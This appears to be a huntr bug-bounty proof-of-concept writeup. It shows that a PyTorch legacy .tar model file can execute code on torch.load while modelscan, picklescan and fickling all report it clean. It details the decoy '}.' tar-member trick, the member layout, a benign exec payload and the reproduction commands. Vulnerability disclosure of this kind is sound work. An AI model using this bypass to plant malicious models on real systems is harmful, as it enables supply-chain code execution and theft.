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huntr-poc-pytorch-tar-legacy-desync-bypass

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PyTorch legacy `.tar` deserialization RCE bypasses all three model scanners (modelscan / picklescan / fickling)

huntr target format: pytorch_archive_tar (PyTorch legacy .tar serialization) Vulnerability class: unsafe deserialization (pickle) RCE + model-scanner bypass Loader: torch.load(path, weights_only=False) → torch._legacy_load → legacy_load (tar path) Affected/verified scanner versions: modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12 Verified with: python 3.12.13, torch 2.13.0+cpu, numpy 2.5.1

Summary

A PyTorch model file in the legacy tar serialization format can carry an attacker-controlled pickle that executes arbitrary code the moment it is loaded with torch.load(..., weights_only=False) — and the malicious file is reported clean by all three of the model scanners the ecosystem relies on (modelscan, picklescan, fickling).

torch.load dispatches a non-zip file to _legacy_load, which first calls legacy_load(f). legacy_load opens the file with tarfile.open(fileobj=f, mode="r:") and, if it is a valid POSIX tar, unpickles the inner member named pickle with an unrestricted unpickler (an UnpicklerWrapper subclass of the normal pickle.Unpickler; weights_only=True is explicitly rejected for this format, so no safe path exists). Any __reduce__ in that member runs at load time → RCE.

None of the three scanners parse the tar container, so none of them ever reaches the malicious inner pickle member:

Scanner	Version	Behavior on this file	Verdict
modelscan	0.8.8	unknown/invalid PyTorch magic → skips the file	No issues found
picklescan	1.0.5	tar handling is an unimplemented TODO → reads a flat pickle from offset 0	Infected files: 0 / Dangerous globals: 0
fickling	0.1.12	disassembles a pickle from offset 0	safe (`result0 = {}`)

The enabling trick (fickling / picklescan neutralizer)

Reading a pickle from offset 0 of a tar normally lands on tar-header bytes, which would either error out or trip fickling's malformed-opcode heuristic (flagging the file as suspicious). To defeat that, the first tar member is a decoy named }.. A tar member header begins with a 100-byte name field, so the first bytes of the entire file become:

7d 2e 00 ...

0x7d is the pickle opcode EMPTY_DICT (}) and 0x2e is STOP (.). A scanner disassembling a pickle from offset 0 therefore sees a complete, harmless pickle that builds {} and halts — fickling prints result0 = {} and reports safe; picklescan finds no dangerous globals. The decoy member is ignored by legacy_load, which looks its members up by name (storages, tensors, pickle).

File layout (tar members)

}.        (0 bytes)   decoy; its NAME field = pickle EMPTY_DICT+STOP at offset 0
storages  (11 bytes)  pickle(num_storages=0) + pickle(storage_views=[])
tensors   (5 bytes)   pickle(num_tensors=0)
pickle    (86 bytes)  attacker payload: __reduce__ -> exec(<marker write>)

legacy_load reads storages and tensors (both benign, zero-count) and then unpickles pickle with the unrestricted unpickler.

Reproduction

bash

python build_poc.py          # writes model.pt (10240 bytes)
# scanners — all clean:
modelscan  -p model.pt
picklescan -p model.pt
fickling --check-safety model.pt
# load — code executes:
python -c "import torch; torch.load('model.pt', weights_only=False)"
cat /tmp/TAR_BYPASS_POC.txt   # -> pwned

The bundled payload is harmless: its __reduce__ runs exec("open('/tmp/TAR_BYPASS_POC.txt','w').write('pwned')") — it only writes a marker file so execution can be proven. A real attacker substitutes any code.

Verified results (captured — see `scan_results.txt`)

Code execution via the standard loader:

marker before torch.load : False
torch.load(...) returned : None
marker after  torch.load : True
marker contents          : 'pwned'

All three scanners clean:

modelscan 0.8.8   ->  No issues found!            (exit 3)
picklescan 1.0.5  ->  Infected files: 0 / Dangerous globals: 0   (exit 0)
fickling 0.1.12   ->  --check-safety exit 0 (safe);  disassembly = "result0 = {}"

Control (proves the scanners genuinely detect malicious pickles, so the clean verdicts above are a real bypass, not a scanner malfunction):

fickling --check-safety <plain os.system pickle>  ->  exit 1 (flagged)
picklescan <plain os.system pickle>               ->  Infected files: 1 / Dangerous globals: 1

Impact

Arbitrary code execution on any host that loads an untrusted .pt/.pth with torch.load(..., weights_only=False) — the default for a very large amount of existing loader code and tutorials — when the file is in the legacy tar format. Because the file passes modelscan, picklescan, and fickling as clean, the usual model-supply-chain scanning gates (Hugging Face / CI model scanners, pre-load validation) provide no protection. Full RCE: data theft, credential/secret exfiltration, lateral movement, cryptomining, model/weight tampering.

Dedup note (distinct from prior filings)

This is distinct from the previously filed pytorch_archive_zip scanner desyncs (dual-central-directory 648d1f35, dup-central-directory / data.pkl desync e892a7d5). Those target the ZIP container (the modern _use_new_zipfile_serialization=True format) and exploit ZIP central-directory parsing differences. This finding targets the legacy TAR serialization (legacy_load's tarfile path) and a different scanner-blind mechanism (the decoy }. tar-member-name pickle at offset 0 + unimplemented tar parsing in the scanners). Different container, different loader path, different bypass.

EnigmaConsultant/huntr-poc-pytorch-tar-legacy-desync-bypass

PyTorch legacy .tar deserialization RCE bypasses all three model scanners (modelscan / picklescan / fickling)